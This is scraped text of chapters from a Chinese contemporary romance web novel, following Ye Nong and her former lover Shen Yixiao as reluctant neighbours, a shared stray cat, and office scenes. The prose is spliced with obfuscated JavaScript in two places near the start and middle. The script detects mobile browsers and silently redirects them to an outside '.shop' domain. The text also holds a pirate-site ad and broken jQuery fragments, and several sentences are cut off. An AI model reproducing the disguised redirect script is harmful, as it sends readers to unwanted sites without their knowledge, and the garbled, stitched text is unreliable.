直到沈屹骁手指脱离她唇峰,紧贴的触感消失,夜浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼看沈屹骁迈开脚,夜浓忙喊住他,但不是“沈总”,而是“嗳”。 但是沈屹骁没回头,径直往前走。 不知道他是生气让他去门口等,还是不满意那声“嗳”。 夜浓踩着高跟鞋追上去,跑到他身前时,她修长的双臂一伸。 “沈总至于这么小气吗?” 还挺会倒打一耙。 沈屹骁压下眼底多余情绪,只留几分冷郁。 夜浓眼神闪了闪,心虚又嘴硬:“让你堂堂沈总跟我去取车,我哪好意思。” 跟她去取车不好意思,但是好意思让他去门口等她。 倒是会给自己找理由。 “所以呢?”沈屹骁轻飘飘地问了句:“夜小姐打算怎么办?” 铂悦府不似一些小区,地上也是允许车辆通行的。 夜浓往他旁边抬了抬下巴:“你在这等我,我去把车开过来。” 别墅区在东北角,平墅在西南,若是步行走过去,一来一回半个小时都不止。 沈屹骁懒懒丢了句:“不习惯等人。” 夜浓是真的想狠狠给他一记白眼,然后反问一句:以前在寝室楼下等我一等就是半个多小时,怎么没听你说不习惯? “那你说怎么办吧,我听您的。” 话音一落,就遭沈屹骁一个冷眼:“我是不是跟你说过别让我再听到那个字?” 夜浓心里想,你还说不许让我说「我们」呢,结果刚警告完,自己还不是说漏了嘴? 夜浓懒得跟他掰扯这些没意义的。 “行,沈总说什么就是什么,说吧,你到底想怎么样?” 沈屹骁也懒得细究她不爽的语气,瞥她一眼后,双脚一转,擦过她肩膀,径直往前走。 说全网首发无弹窗免费阅读qiexs⒎(请来企鹅小 说 看最新章节 完整章节) 夜浓在原地愣了两秒钟才反应过来他这是要跟她一块去取车。 所幸沈屹骁步子迈得不大,走的也不急,夜浓踩着不方便跑起来的高跟鞋,匆匆几步就追了上去。 八点不到的早晨,凉风阵阵,再加上小区被浓密的绿化植被环绕,气温都要比市区凉一些。 穿过平墅侧墙就是一条双车道的沥青路。 沈屹骁再一次瞥了眼她裙摆下的两只赤白的脚腕,还有鞋底下细细的高跟 。 他站住脚,眉头拧着,语气嫌弃:“走这么慢,车钥匙给我。 夜浓气笑一声。 这人可真有意思,明明是他走的懒悠悠,却反过来嫌弃她。 但是一想到昨天一路走过来的路程,夜浓心里又偷生几分侥幸。 她从包里找出车钥匙,往沈屹骁摊开的掌心里一压,“那就麻烦沈总了。 钥匙串上坠着一个很迷你的毛绒卡通玩偶,让沈屹骁心里生出几分莫名其妙的柔软:“别乱跑,回来见不到你人,我可没时间找你。 眼看他转过身,夜浓忙朝他“嗳了声:“要是、要是不小心看见瞿总,你、你 “怕我告状?沈屹骁似笑非笑一声。 夜浓只在心里白他一眼:“不是,我只是不想让他知道我在你这过夜。 目光扫过她低垂着的眉眼,沈屹骁嘴角笑痕淡去:“放心,我比夜小姐更不想被人误会。 夜浓看着他转身,看着他头也不回地往前走,被休闲裤包裹着的一双长腿,迈出的步子是那么坚定又决然。 和当初在宿舍楼下,她转身离开时一模一样。那他呢,是否也像她现在这样,看着他头也不回的背影,站了很久? 对于自己突生的想法,夜浓感到一丝好笑。 夜浓背过身不再看他。与此同时,背对着她的那双坚定不移径直朝前走的双脚却渐渐慢了速度。走了一段后,沈屹骁终究是没忍住,回头看了眼。 背影,又是背影,她好像从始至终都只会给他背影。 一如当年一样。 他在原地站着,蹲着,守了近乎一夜,都没能等来她一个回头,更别说回心转意了。 * 梦蝶山的房子的确已经售罄,但入住率不高。 沈屹骁轻车熟路来到六栋,看见门前车位里停了三辆车,一辆张扬的红色跑车,一辆低调的黑色轿车,还有一辆中规中矩的白色越野。 如果不是看见了车钥匙上的车标,光是凭感觉,沈屹骁也能猜出哪辆车是她的。 倒不是车的价格低于其他两辆,而是对她的了解。 只是没想到,刚走到车头前,别墅大门就打开了。 看见沈屹骁出现在自己家门口,阮瑜顿时愣住。 第 16 章 十六章 第16章十六章 “她昨晚和我在一起。” 说这话的人,一脸的风轻云淡,但听这话的人,却瞳孔震惊。 没等阮瑜将这话细品,就听沈屹骁又说:“不过还是希望阮总不要在她面前提及这事。” 阮瑜怎么可能不提,不过表面上,她也只能笑着点了点头。 沈屹骁把车开回来的时候,夜浓正抱着胳膊等在原地。等车停稳,她走到主驾驶门口,见车门不开,她敲了敲车窗。 玻璃落下,沈屹骁面无表情地看着她,好似在等她下文。 夜浓不知他葫芦里卖什么药,皱着眉问:“沈总不下车吗?” 沈屹骁坐在里面八风不动:“夜小姐是要穿高跟鞋开车?” 她后备箱里当然有备用鞋,但是被他这么不轻不重地呛声,夜浓觉得自己简直多此一举。 夜浓没说话,瞥了眼后座车门,正迟疑坐后面会不会弄他难堪时—— “夜小姐该不会真想把我当司机了吧?” 当司机也是你自愿的。 夜浓虽然心里这么想着,但脸上却挂着笑:“怎么会。” 她绕过车尾,去了副驾驶。 路上,夜浓原本是想问他有没有遇到瞿总或阮总,但又实在不想开这个口,几度留意手机屏幕,不见短信和电话,她也就放下心来。 车厢安静里一路。 即便是遇到红灯,两人也都没有语言上的任何交流。 车由西向东开,阳光穿透挡风玻璃,直铺在两人身上,也将后视镜上挂着的那串水晶吊饰折出了耀眼的光。 沈屹骁已经不知瞥了多少眼坠下来的那个蒙奇奇头像。 沉甸甸的,悬在那儿。 这要是不小心急刹车. 可是又关他什么事。 沈屹骁忍下嗓子眼里的多余。 直到车子驶入铂悦府地下车库,在车位里停稳。 忍了一路的‘告诫’以警告的声音响在车厢。 “又是高跟鞋,又是这种幼稚的挂件,”沈屹骁扭头看向副驾驶:“夜小姐的安全意识真的有待提高。” 夜浓没想到一路上不说话的人,一开口就这么呛人。 她在车里挂什么跟他有关系吗? 还说她的蒙奇奇幼稚? 当初也不知是谁给她买了各种各样,一张桌子都要摆不下的蒙奇奇。 想起过去他捧着一盒又一盒的礼物讨她开心时的殷勤劲,再看看现在,夜浓讥了声笑:“沈总,作为邻居,你不觉得自己管太宽了吗? 沈屹骁又一改刚刚的语气,心平气和了起来:“一点建议而已,夜小姐如果觉得不入耳也可以当我没说。 车门开合,“砰的一声,并不算摔门,但响在静谧的车厢,就是让人觉得刺耳。 狠狠剜过去一眼后,夜浓抓起放在中控台的车钥匙,下车去了车尾。 电梯门开,沈屹骁走进去转身的时候,夜浓刚好到了门口。 黑色尖头平底鞋被她两根手指勾着,带着一种「事实胜于雄辩」的姿态走进来。 电梯平稳上行到停落,门开,夜浓先他出去。 本来她一句话都不想跟他说的,但是不呛他一句,她心里又实在憋屈。 她扭头,“沈总。 沈屹骁脚步停住,但没有转过身来看她。 夜浓也只是转过一侧肩膀:“希望我和你之间,可以成为对彼此视而不见的邻居。 她声线很软,却也冷,听不出任何情绪,可响在耳边,却如刺一般。 高跟鞋由近及远,“滴答 像当年他将她压在黑暗的拐角强吻她时,挨的那一巴掌。 很疼,但却不及她说的那句:玩玩而已,沈大少爷这么拿不起放不下吗? 那晚,他在夜浓的宿舍楼下蹲了一夜。 夜浓也在楼上阳台抱着双膝坐了一夜。 舌尖,还有唇瓣,好几处被他咬破,一吮,满嘴的腥涩。 这些原本都要忘到脑后的回忆,随着再回这座城市,再见到他,都一点一点涌上心头。 夜浓背靠着门,被她勾在指尖的平底鞋不知什么时候掉在了地上,还有挂在肩膀上的包,也不知什么时候滑了下去,堪堪的悬在两根指腹上。 耳边许久都没听到外面门开合的声音,夜浓侧过脸又失了一会儿的神,意识到自己这下意识的等待,她苦笑里夹杂着一丝可笑。 * 铂悦府每栋楼都有两层悬浮会所,里面不仅有健身房、恒温泳池,还有甜品。 沈屹骁在家门口驻足了一会儿后就来了这里。 侍应生拿来的菜单被他来来回回看了许多遍。 萨赫蛋糕里的巧克力过于浓郁,略苦; 冰淇淋易化; 马卡龙过于甜腻; 库纳法上面的坚果碎里有她不爱吃的开心果; 印度奶汤圆她倒是喜欢吃,但冷藏后食用效果才佳,更适合夏天。 沈屹骁招手侍应生,“没有青柠派吗?” “沈总,”服务生面露难色:“青柠派在上个月月初就已经下架了。” 沈屹骁又翻开一页菜单:“让主厨过来。” * 阳光从窗外偷渡进来,在羊绒地毯上碎了一地的暖阳。 客厅里开了暖气,夜浓躺着沙发里,她刚泡了一个花瓣澡,这会儿,全身只一条V领吊带真丝长裙,盖得住春光,但遮不住她一身淡淡的香。 楼下管家摁响业主门铃的声音有别于客人造访。 夜浓起身到门口,摁下通话键。 “夜女士您好,我们物业每个周末都会提供甜品免费□□,方便的话,我现在给您送上去。” 竟然还有这样免费的服务,虽意外,倒也惊喜。 等她从管家手里接过沉甸甸的三层高木质食盒时,夜浓愣了一下:“这盒子要收回去吗?” 谁知管家说不用。 夜浓不禁好奇:“你们每周每户都会送吗?” 管家笑着摇了摇头:“不是,我们都是随机抽取的,一周只有一户。” 那还好,要是每周每户都这么送,对物业来说还真是一比不小的开支。 因为是免费,夜浓以为就是一些普通的小蛋糕小饼干之类,谁知一打开,她不禁“哇”了声。 青柠派、焦糖蛋奶,还有一份盛在琉璃绿瓷盅内的印度玫瑰奶球。 都是一般甜品店里很难买到的,特别是印度玫瑰奶球,从她离开京市后,就再也没有吃到过。 说来也是好笑,其实在和沈屹骁在一起之前,她都不知道还有这样的一道甜品。 还有青柠派,没有他带着,她再也吃不到可以将青柠汁的酸和 甜炼乳的甜中和得刚刚好的味道。 焦糖蛋奶倒是常见,但是大多数甜品店都太甜 夜浓凑近看了看,这份焦糖蛋奶上淋的焦糖只有薄薄一层,一闻,还有桂花的清香。 她从盒子里取出金属小勺,叉了一块到嘴里。 果然不是常见的焦糖,是桂花蜜。 淋着桂花蜜的焦糖蛋奶,夜浓只吃过两次,一次是她和沈屹骁确定关系的第二晚,他带她去的一家五星级酒店吃的,另一次是她生日时,沈屹骁亲手给她做的,虽然味道不及第一次,但那一瓣瓣的金色桂花都是沈屹骁亲手摘下自己酿成的桂花蜜,所以意义大于味蕾。 时隔五年再次尝到这种味道,夜浓也不知道自己哪根筋搭错了,鼻腔一酸,眼泪扑簌,不经脸颊,直直落在了诱黄的蛋奶之上。 三楼的悬浮会所,有一景眺望台,管家走过来:“沈总,夜女士已经收下了甜品。 沈屹骁点了点头,“事后她若是问起,不要说漏嘴。 管家点头:“好的。 如沈屹骁所料,傍晚的时候,夜浓从楼下下来,径直去了服务台。 “你好,请问中午送的甜品,是你们会所里的吗? 管家点头:“是的,我们的主会所在物业后面,相比楼上的分会所,无论是吃食还是娱乐项目都会更全面一些。 夜浓道了声谢。 上次曲姚取回的会所入会卡,她还没来及充值,今天若不是那几分甜品,她差点都要把这事忘了。 出了一楼门厅没走几步,就看见一只纯白布偶支着两只前爪蹲坐在红色塑胶跑道边。 纯白布偶很少见,夜浓辨认了好几眼才确定。 全身上下这么干净,肯定是哪位业主的宝贝。 夜浓在它前身蹲下:“你怎么一个人在这儿呀? 明明是对“猫弹琴,可面对这么一只小可爱,任谁都忍不住碎碎念上两句。 猫咪倒是一点都不怕人,仰头看着她之余,还低低“喵呜一声。 夜浓很想伸手去摸摸它,又怕把她吓跑让主人好找,便忍住了。 但她还是掏出手机,给猫咪拍了两张美照,手机收起后,她又安静在原地蹲了一会儿,最后才一脸不放心又一步三回头地走 了。 总听这个小区的会所在物业后物业后的,今日一来才发现,在听着不入耳的「物业后」竟然还藏着这么一栋富丽堂皇。 九层高的玻璃幕墙一通到顶,被包裹在金色拉色的蜂窝铝板中。 走进去,迎面一幅生动立体的锦绣玲珑。 偶尔出现于顶豪卧室内的暖光玉石在这里倒是成了基底墙,在灯光加持下,氛围高调,却又很松弛。 工作人员领着夜浓一一参观着会所内的各项基础以及基础外的设施。 书吧书法、阅读绘画、影院康健、瑜伽舞蹈、有氧健身、恒温泳池、SPA,还有赛级的台桌,一应俱全,甚至还有水吧会客区和红酒雪茄吧,不同领域不同主题的私宴厅都被独立分割开。 这样高级别的私家会所,入会充值自然不低,一问果然,十万起充。 不过夜浓也没多少拘泥,充了值,录入基础信息后,她去了红酒吧,在圆形包椅里坐下后,一抬头,看见了最不想看见的人:沈屹骁。 他身上不再是早上那套运动装,而是撞色的休闲上衣搭配黑色休闲裤,搭在桌台那只手臂,袖子上挽,露出的劲瘦半截手臂上,能看见一只黑色腕表,十分简约利落。 两人视线对撞的那一瞬,夜浓是真的想起身就走,可转念一想,那样只会显得自己落荒而逃。 凭什么。 就算走,也要喝点再走。 不过沈屹骁并不是只身一人,在他旁边还有一个中年男人。 侍应生将酒送来时,夜浓很不经意的往对面扫了眼。 两个男人不知在聊些什么,颇为起意。 沈屹骁一手压在高脚杯底座,不时掀起嘴角似说似笑。 早上那一头自然垂下来的刘海,很明显经过了打理,露了一半出来,更显精神,但给人的疏离感也愈重。 夜浓一点都不想去打量他,偏偏那人就坐在自己对面,一抬眼就能看见。 原本是来放松的,这下可好,添了堵。 杯里的红酒也没了继续喝下去的雅兴,但是蓦然起身又很突兀,夜浓索性将手机贴到耳边。 一声“喂”后,她从椅子里起身。 沈屹骁抬眼看过去,红酒吧的公共区域不算大,五十个平方不到,目送 她人影消失在门口,只很短的时间。 视线收回后,原本的闲心雅致都变得意兴阑珊,和旁边男人打了声招呼,沈屹骁也从卡座里起身。 走到门口,他下意识左右寻了两眼,这一层是红酒雪茄吧,她不会多做停留,那是去了楼上的影院还是楼下的健身区? 在门口停驻的时间里,想到她刚刚落在自己脸上的白眼,沈屹骁气笑一声。 亏他还想用甜品哄她开心,真是喂了猫了。 却没想,回去的路上真看见一只猫,通体纯白,沈屹骁只是淡淡掠过去一眼,没想到走到六栋门口,刚踩上楼梯,一声“喵呜从身后传来。 还是那只白猫。 沈屹骁凝眸看了两眼后抬头,路灯照亮的四周,不见一丝人影。 又一声“喵呜声,沈屹骁视线再次落到台阶下。 刚刚看见它的时候还是在小花园边,离这少说也有几十米元,这是一路跟他跟过来的? 沈屹骁打量了几眼。 他对猫的品种不甚了解,充其量也就只认得一种布偶,是过去夜浓用作微信头像,他才知道的品种。 但是眼前这只和他印象里的那只又不大像。 但沈屹骁也没当回事,转身就上了台阶,进了大堂,管家走过来:“沈总,这是您养的猫吗? 沈屹骁转身,下意识就往地上看。 真是奇了怪了,那猫竟然还跟在他身后。 沈屹骁说不是:“或许是这栋业主的。 管家说:“这只猫从下午三点的时候就在门口了,一直不见有人来找。经理说,如果到晚上十点,还不见有人来认领的话,就做一个宠物认领启示。 虽说东沈旗下所有楼盘用的都是自家的物业公司,但这还远不到沈屹骁亲自处理的地步。 沈屹骁点了点头,“妥善处理好。 谁知,他一抬脚,那只猫又跟上了他的脚步,管家忙跟上去,弯下腰,手刚一伸出去,那只猫像是收到了惊吓,猛然一个转身,朝管家“嗤出了警告。 平时一向从容镇定的女管家也被猫的应激反应吓了一跳,后退两步之余,脸色一阵刷白。 沈屹骁先是皱眉,继而一声失笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699549|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 难不成他看上去比一个女人还要 平易近人? 带着试探沈屹骁蹲下身朝躲到墙边的那只猫勾了勾手指。 那只猫睁着一双漂亮的蓝眼睛歪了歪脑袋。 当初被夜浓用作头像的那只浅蓝色布偶也是这般的歪着脑袋乖萌乖萌的。 沈屹骁也不知自己哪儿来的兴致手指又勾了勾“过来。” 或许是主人也经常跟它说这话猫咪听懂了似的两只蹲在地上的后肢立了起来一步一步小心翼翼地往沈屹骁面前走近。 等沈屹骁把手伸过去的时候猫咪下意识又往后退了一步。 「如果猫咪喜欢并信任你它的尾巴会翘起来但不是崩得很直的那种会有弯曲你看就像这样」 回忆里的声音让沈屹骁看向猫咪的尾巴。 略有弯曲的翘着还不时左右轻晃。 这是喜欢他还是信任他? 沈屹骁勾了勾唇手再次伸近的时候一根食指挠在了猫咪的下巴处。 没朝他“嗤”声也没跑眼睛还浅浅眯了眯。 沈屹骁双手一伸不假思索的将猫咪抱了起来。 “去找个笼子来。” 管家在惊讶里恍然回神连答应都忘了就踩着三厘米小高跟往外跑。 沈屹骁将猫咪放在了服务台上掌心顺着它脑袋往后顺了几下毛发。 也不知怎么就对他这个陌生的男人生出了信任感在他宽大的掌心下猫咪异常乖巧。 夜浓含着一根棒棒糖走进来的时候刚好看见这一幕。 她双脚顿了一下眼里有明显的意外和不可置信以至于双脚不受控地在服务台前站住。 “你的猫?” 沈屹骁闻声扭头视线经过她的眉她的眼她捏在指尖的紫色棒棒糖最后又回到她满含意外的眸底。 竟然因为一只猫主动跟他说话。 真是稀奇。 掌心安抚的动作停了沈屹骁不动声色地笑了笑:“很意外吗?” 意外当然有。 但不是意外他会养宠物而是意外这只猫是他的。 夜浓看着在他掌心下异常温顺的猫咪没有生疑视线回到他脸上 首都没有就转了身。 沈屹骁一边在心里品着她这话,一边看着她背影,眼底人影空了的时候,他才垂眸失笑。 没想到他这么有爱心? 好似在她心里,他这人有多残暴似的。 沈屹骁等了约莫二十分钟,管家才提着一个白色金属笼子回来。 “抱歉沈总,让您久等了。”物业那边也没有猫笼,她还是自己掏钱去小区对面的宠物店买了一个。 沈屹骁将猫咪放进笼子,“尽快找到主人。” 管家不住点头:“好的沈总。” 夜里猫咪还很乖巧,只断续叫唤了几声,结果第二天一大早就开始扒拉笼子,一声声的“喵呜”声回荡在宽敞的大堂里,异常尖利。 管家没办法,只能求助经理。 经理一听,立马吩咐:“赶紧给拿到总服务台,万一被业主投诉就不好了。” 结果管家刚将笼子拎到手里,身后就传来声音—— “它怎么在这儿啊?” 管家回头,忙礼貌颔首问好,之后将来龙去脉大致说了一些。 夜浓又是惊讶,又是好笑。 原来不是他的猫,亏她昨天还真信了。 夜浓问:“你现在是要把它带哪儿去?” 管家说:“目前只能送到物业中心的服务台。” 夜浓看向被关在笼子里的小可怜:“那如果一直没有人认领呢?” 管家也很无奈:“之前遇到这种情况,一周后如果依旧没有主人来认领,便会送去救助站。” “救助站?”夜浓蹙眉,她知道救助站不会虐待小动物,但心里还是莫名排斥这个地方。 “夜女士,我不跟你说了,我先带它回物业中心。” “哦,好,你去。” 夜浓站在原地,看着猫咪在笼子里转了个身,两只前肢扒着笼壁在看她。 分不清是错觉,还是心里有代入,总觉得那双看着她的大眼睛里满是求助。 夜浓轻轻叹气。 再求助于她又能怎样呢,她从来都不觉得自己有养一只宠物的能力。 不然当初她早就和沈屹骁养一只—— 莫名其妙又想到那个男人。 夜浓深吸一口气又闭了闭眼,谁 知刚一抬脚准备往外走,就见那人从门口走了过来。 真是冤家路窄。 想起昨天他自诩自己是那只猫的主人,夜浓朝他投去一记白眼。 沈屹骁:“.” 这人是跟他有天大的仇还是怎样,至于一大早就没个好脸色? 沈屹骁站在原地,等到夜浓从他身侧经过时,他一把攥住她手腕。 夜浓条件反射就想挣开他手,可又哪里能抗衡过他的力道。 “你干嘛?” 沈屹骁歪头看她:“说清楚。” 夜浓皱着眉头,又挣了一下:“说清楚什么?” 沈屹骁拇指指腹压着她的腕心脉搏,“我是哪儿得罪你了,一大早就平白落你一个白眼?” 夜浓嘁出一声气音:“你自己心里清楚。” 沈屹骁凝眸看了她几秒,攥着她的手腕往自己身前一扯。 夜浓始料不及,双脚趔趄到他面前时,另只手下意识就抓住了他手臂上的黑色布料。 天生冷白皮的手指,陷在他带着褶的黑色袖料中,一黑一白。 那么截然不同又对立的色彩,却因为相互紧贴而有了一种近乎沾染甚至交.融的错觉。 沈屹骁刚从会所锻炼回来,满身汗气却被衣服上的香薰交织出一种柔软的味道。 扑入鼻息,让夜浓指尖微微收紧。 她抬头,这才发现自己正被他视线笼罩。 像一张网,密不透风的网,将她强势锁住。 夜浓被他一双眼攫住到失神,默了几秒才反应慢半拍地别开脸。 眼睫颤悠的同时,心脏也开始不受控地突突直跳,她从来都不怕他,五年前不怕,现在更是没什么可怕的,可一开口,声音却像被风吹散了似的:“你、你松手” 沈屹骁背着光站,所有光影都被他挡在身后,他语调波澜不惊,听不出喜怒:“我如果不松呢?” 五年前跟他提分手,他也是这样,扣着她手腕,一字一顿:我如果不接受呢? 如今手腕被他紧紧攥着,腕心的脉搏都快要被他指腹压得息弱。 夜浓压下回忆里的苦涩,仰起脸,迎着他目光:“沈总这是想干嘛?” 说完,她双脚往前迈了一步,脚尖抵住沈屹骁脚尖的 第 17 章 十七章 第17章十七章 这一场口舌之争,说不上来是谁占了上风。 因为两人背过身时,表情都一秒变了。 原本打算去健身房锻炼的夜浓回了家。 从健身房锻炼回来的沈屹骁又回了会所。 冰水擦过舌尖的伤口,压下丝缕的疼意,但心头的烦郁却越蹿越高。 他分不清那句「沈总的吻技和二十岁的小弟弟比起来,还真是差强人意」到底是真话,还是气话。 五年,他是因为放不下她,所以从不给任何一个女人近身的机会。 可是她呢,当年是她要分手的,肯定不会像他一样陷在过去里出不来。 所以就和二十岁的小弟弟谈恋爱? 那这五年,她又谈过几个二十岁的小弟弟? 去公司的路上,夜浓也一直想着这事,和沈屹骁不一样的是,夜浓没有生气也没有烦躁,她就是觉得好笑,说她吻技不好也就算了,还说不如他前女友,不如他前女友那去亲他前女友啊,来亲她做什么? * 例会九点开始十点结束。 会上,阮瑜不露声色地看了夜浓好几眼。 情绪稳定,条理清晰。 也是,她一向情绪管理得当,何况还是周六发生的事。 但是阮瑜心里的疑问有了猜测就想得到印证,这无关上下级,而是作为朋友的关心。 毕竟相识四年,这中间夜浓无视她扯过的红线,总是一副断情绝爱的模样。结果回京才几天,就和一个男人共处一夜。 “都各自去忙吧。”阮瑜合上电脑看向夜浓:“你上午忙吗?” 夜浓点头:“一会儿要和三组针对雾色香水的初步构思和概念开个短会,”说完,她才问:“怎么了?” 上班时间,以公事为主。 阮瑜摇摇头:“没事,你先去忙吧。” 相比例会的短而精,听取设计组每个成员的想法更显细而繁。 阮瑜安安静静地听完所有人的构思和设计方案后,才开始说出自己的意见。 “雾色那边目前没有给出任何的需求和设计方向,你们都一致想要将瓶身设计成透明状,会不会太单一了?” 刘蕴说: “「Release」是这款香水的名字意为释怀所以我们才会将「拨开云雾见天明」作为我们的立意。如果到时候他们觉得透明瓶身不满意我们也可以提议在瓶身四周做出金属边框这种设计在世面上还是比较新颖的。若是他们还想凸显高贵瓶盖上可以加配珠宝。这些我们在ppt里都做了分解设计。” 夜浓没有反驳:“我不知道你们在构思之前有没有去了解他们已出的六款香水五深一浅浅的那瓶就是白色透明瓶身那是他们家的冷门香我上次去他们门店就买了那一款后来才知道买其他款都不需要信息登记 有人小声道:“难道那款有什么特别意义?” 刘蕴点头:“调香师一般都有自己精锐又或者怪癖的喜好祁总既是调香师又是老板想必那款香水是他的心头好。” “一滴泪的瓶身设计在市面上并不算独特甚至相比他们家其他款产品那款的造型可以说是最简单的。”夜浓看向刘蕴:“就像你说的金属又或者珠宝这些元素都是在他们家之前没有使用过的。” 刘蕴却不以为然:“没有使用过不是更好吗更能凸显这次设计的新颖。” 但是这种设计又怎能没有被雾色之前合作过的设计公司提议过。 夜浓笑了笑:“今天周一时间还不算太紧明天晚上下班前再出两个设计方案磨砂、鳞面又或者切割面的设计多出几个到时候和客户讨论的时候才可以多争取一些反馈意见不然我们太被动了。” 会议结束离午休就只剩半个小时。 夜浓前脚刚回办公室阮瑜后脚就跟着进来了。 “周三和雾色那边的对接你去吗?” 夜浓摇头:“这个项目交给了三组到时候让刘蕴去对接就可以了。” 其实这也就是个话题引子。 阮瑜站在她办公桌对面:“怎么样回来一个星期了还适应吗?” “挺好。”夜浓简单两字带过。 真不知她是真心还是敷衍阮瑜视线追着她没什么情绪起伏的脸:“看来 你挺喜欢这边的办公环境。” “简单有简单的好,复杂也有复杂的好。” 夜浓从抽屉里拿出一包扁状方形小袋,撕开,揪掉吊线,将坠着的三角降解包放进水杯里:“我这里没有咖啡,要曲姚给你冲一杯吗?” 阮瑜摇头,但却饶有兴致地拿起那片纸包,念着上面的小字:“茉莉毛峰?” 本来还没在意的,经她这么一念,夜浓手里的动作停了一停,突然想起那天在沈屹骁那里喝到的茉莉花茶,不过和他那个比起来,她这个未免太小巫见大巫了。 “六块钱一包,”夜浓浅浅揶揄一声:“味道还不错。” 本来还有点为自己想聊的话题苦恼找不到突破口,眼下倒是不经意的被撕开了一道口子。 阮瑜抬着眼皮瞧她一眼,“上次在沈总那,喝的也是茉莉花茶吧?” 夜浓绕过办公桌,声音波澜不惊:“他那个是花茶,我这个是绿茶。” 将杯子倒了七成热水,夜浓转身回到桌前,旋上杯盖。 “我这里还有不少,要不要给你拿一盒回去尝尝?” 不知是不是自己多想了,阮瑜总觉得她是在故意岔开话题。 她偏将话题绕回去:“那天晚上我和老瞿走后,他没为难你吧?” 听阮瑜这么问,夜浓便知道她是看出了端倪。 那天晚上,自己的确有很多应激反应,想控制的,但面对那个人,身上的刺总是不自觉地竖起来。 夜浓唇角微扬,半真半假地调侃:“怎么会,他堂堂一个集团董事长,怎么会为难我一个小小的总监。” 这两天,阮瑜可谓是将那晚的两人‘对峙’的场面温故了许多遍。 其实说对峙有些过了,当时两人你一言我一语,话音笑貌夹枪带棒的,更像是学生时期,两个尖子生之间的交锋,看似互不相让,却又带着点惺惺相惜。 “也是,”阮瑜挑了挑眉:“你又是给他叫代驾,又是亲自送他回家,他要是为难你,还真是没点男人的风度了。” 说这话的时候,阮瑜目光一直都有观察她的表情。 可惜风轻云淡,不着丝毫情绪,好像自己刚刚说的就是那晚她经历的。 可是沈屹骁明明说:昨晚她和我在一起。 难道说自己理解错了? 可『在一起』这三个字,任谁听着都是深处一夜的意思。 但是夜浓怎么就没有反驳她刚刚那句话呢? 是不想让她知道? 虽说阮瑜认识她时间也不短了,也自认为自己很会看穿一个人,但夜浓,她是真的看不透。 看似很透明的一个人,其实心思却埋得很深。 当然,更多是她的感情方面。 其实阮瑜也想过单刀直入地问她,但是沈屹骁叮嘱又告诫地让她不要在夜浓面前提及此事。 难道说,是沈屹骁单方面对她有意思? 若是这样的话,这个男人也太有意思了,哪有这么追求女孩子的。 两人难以捉摸的性格和扑朔迷离的关系,让阮瑜一头雾水。 偏偏男方不让提,女方又避而不提。 弄的她这个局外人只能站在局外,看这两人接下来的发展。 但是对于夜浓来说,她是真的不想和对门那人有任何的发展。 特别是经过早上那无理又荒唐的一个吻,夜浓几乎不能让自己大脑有片刻的停歇。一旦无事可做,他手掌的力度,唇舌的蛮横,都会像潮水一般汹涌地在她脑中翻滚,打乱她思绪不说,还让她情绪异常烦躁。 以至于到了下班时间,所有人都走了,她还待在办公室里。 所有能处理的公事都处理完已近八点。 夜浓索性戴上耳机,找了几首震耳欲聋的摇滚来听,顺势又玩起了斗地主。 她是个游戏白痴,所有网游一概不会。 当初因为这,自己不知被沈屹骁取笑过多少次,甚至还把她搂怀里手把手教她 玩个斗地主竟然也能想到那个人,夜浓手里的鼠标“啪”的一声摔出声响。 晚饭在外面随便对付了几口,夜浓回了铂悦府。 刷卡进了电梯后,刚想摁亮12层摁钮,她手指又停住两秒。 不知那只布偶找到主人没有。 昨天因为猫的事,那位叫程麦的管家一连工作了二十四小时未歇。 接她班的是另一位男管家,叫徐天。 夜浓看了眼他的胸牌,“你好,我想问一下,昨天那只布偶,有找到主人吗?” 管家话 音带笑貌:“据我所知,中午交接班的时候还没有,如果您需要,我打电话问一下。 夜浓点头:“那麻烦你了。 从电话里就听出那只布偶还在物业中心。 眼看对方电话挂断,夜浓问:“物业那边有猫粮之类的吗? 管家略有为难:“之前是没有的,不过工作人员应该会准备。 夜浓在原地迟疑了小片刻,最后转身出门。 物业中心的大厅,灯光亮如白昼。 夜浓在服务台询问几句后,工作人员领她去了里面。 走廊里安静,经过几扇门,夜浓听见了猫叫。 让人心软的“喵呜声里,带着几分哑音,听着让人心疼。 随着一扇原色木门打开,夜浓看见被关在笼子里的猫咪。 可怜兮兮地趴在笼子里,笼外有两个一次性的塑料饭盒,一个里面盛着水,一个里面还有一些猫粮。 对一只无人认领的宠物,其实这种待遇还算不错。 让夜浓鼻腔一酸的是,那只猫咪一看见她就蹲坐了起来,两只前肢扒着笼边,水汪汪的大眼睛看着她,像是含冤入狱等着她将它解救出去。 夜浓没有立即去安抚它,略有急切的声音问一旁的工作人员:“它必须要在你们这待够七天吗? 工作人员回答略有迟疑:“.也不是必须,只是今天上午,我们同事已经将宠物认领发到了业主群,这中间要有一个等待的过程。 夜浓只是租户,并不在业主群内。 她没再说什么,毕竟物业也有它的流程。 夜浓走到笼子前蹲下,伸出一根手指摸了摸猫咪探在笼边的前爪。 宠物猫的胆子都很小,被她碰触,爪子条件反射地往回缩了缩,但是很快又放了回来。 身后,工作人员说:“女士您放心,在没有人认领它的期间,我们会照顾好它的。 这所谓的照顾,也就是提供吃喝。但是也不能对人家有过多要求。 夜浓站起身:“我可以买一个笼子给它换上吗? “这 “是我自愿的,夜浓说:“而且给它提供一个更好的条件,我相信你们领导也不会说什么。 小区对面就有宠物店,夜浓 买了一个比原先大三四倍空间带有流动饮水机的笼子还有猫砂、软垫几个牛肉鳕鱼罐头。 一米二长的笼子拎起来很费劲店员将其他东西都放进了笼子 